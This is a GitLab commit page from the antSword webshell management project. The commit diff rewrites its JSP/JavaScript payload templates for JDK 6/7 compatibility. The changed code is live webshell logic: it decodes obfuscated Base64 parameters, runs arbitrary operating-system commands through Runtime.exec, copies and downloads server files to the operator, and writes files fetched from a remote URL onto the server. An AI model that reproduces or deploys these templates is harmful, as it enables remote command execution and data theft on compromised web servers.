Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
ea15e13a
Commit
ea15e13a
authored
Jun 07, 2021
by
yzddmr6
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
兼容jdk6/7
parent
a6efa86f
Changes
3
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
17 additions
and
25 deletions
+17
-25
index.js
source/core/jsp_js/index.js
+3
-7
command.js
source/core/jsp_js/template/command.js
+5
-4
filemanager.js
source/core/jsp_js/template/filemanager.js
+9
-14
No files found.
source/core/jsp_js/index.js
View file @
ea15e13a
...
...
@@ -103,8 +103,9 @@ class JSP_JS extends Base {
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) {
str=str.substr(#randomPrefix#);
return byte2Str(Base64DecodeToByte(str));
str = str.substr(2);
var bt=Base64DecodeToByte(str);
return new java.lang.String(bt,cs);
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
...
...
@@ -117,11 +118,6 @@ class JSP_JS extends Base {
}
return bt;
}
function byte2Str(bt) {
var strType = Java.type("java.lang.String");
var result = new strType(bt, cs);
return result;
}
${
asencCode
}
${
tmpCode
}
} catch (e) {
...
...
source/core/jsp_js/template/command.js
View file @
ea15e13a
...
...
@@ -20,12 +20,13 @@ module.exports = (arg1, arg2, arg3) => ({
}
var e = [];
var i = 0;
for (var key in cmdenv) {
print(key + "=" + cmdenv[key]);
e[i] = key + "=" + cmdenv[key];
var iter = cmdenv.keySet().iterator();
while (iter.hasNext()) {
var key = iter.next();
var val = cmdenv.get(key);
e[i] = key + "=" + val;
i++;
}
p = java.lang.Runtime.getRuntime().exec(s, e);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
...
...
source/core/jsp_js/template/filemanager.js
View file @
ea15e13a
...
...
@@ -136,11 +136,9 @@ module.exports = (arg1, arg2, arg3) => ({
} else {
var is = new FileInputStream(sf);
var os = new FileOutputStream(df);
var n;
var byteArray = Java.type("byte[]");
var b = new byteArray(1024);
while ((n = is.read(b, 0, 1024)) != -1) {
os.write(b, 0, n);
var tempByte;
while ((tempByte = is.read()) != -1) {
os.write(tempByte);
}
is.close();
os.close();
...
...
@@ -159,15 +157,13 @@ module.exports = (arg1, arg2, arg3) => ({
download_file
:
{
_
:
`
function DownloadFileCode(filePath, r) {
var n;
var byteArray = Java.type("byte[]");
var b = new byteArray(512);
r.reset();
var os = r.getOutputStream();
var is = new BufferedInputStream(new FileInputStream(filePath));
os.write(tag_s.getBytes());
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
var tempByte;
while ((tempByte = is.read()) != -1) {
os.write(tempByte);
}
os.write(tag_e.getBytes());
os.close();
...
...
@@ -303,10 +299,9 @@ module.exports = (arg1, arg2, arg3) => ({
var os = new FileOutputStream(saveFilePath);
var h = u.openConnection();
var is = h.getInputStream();
var byteArray = Java.type("byte[]");
var b = new byteArray(1024);
while ((n = is.read(b)) != -1) {
os.write(b, 0, n);
var tempByte;
while ((tempByte = is.read()) != -1) {
os.write(tempByte);
}
os.close();
is.close();
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment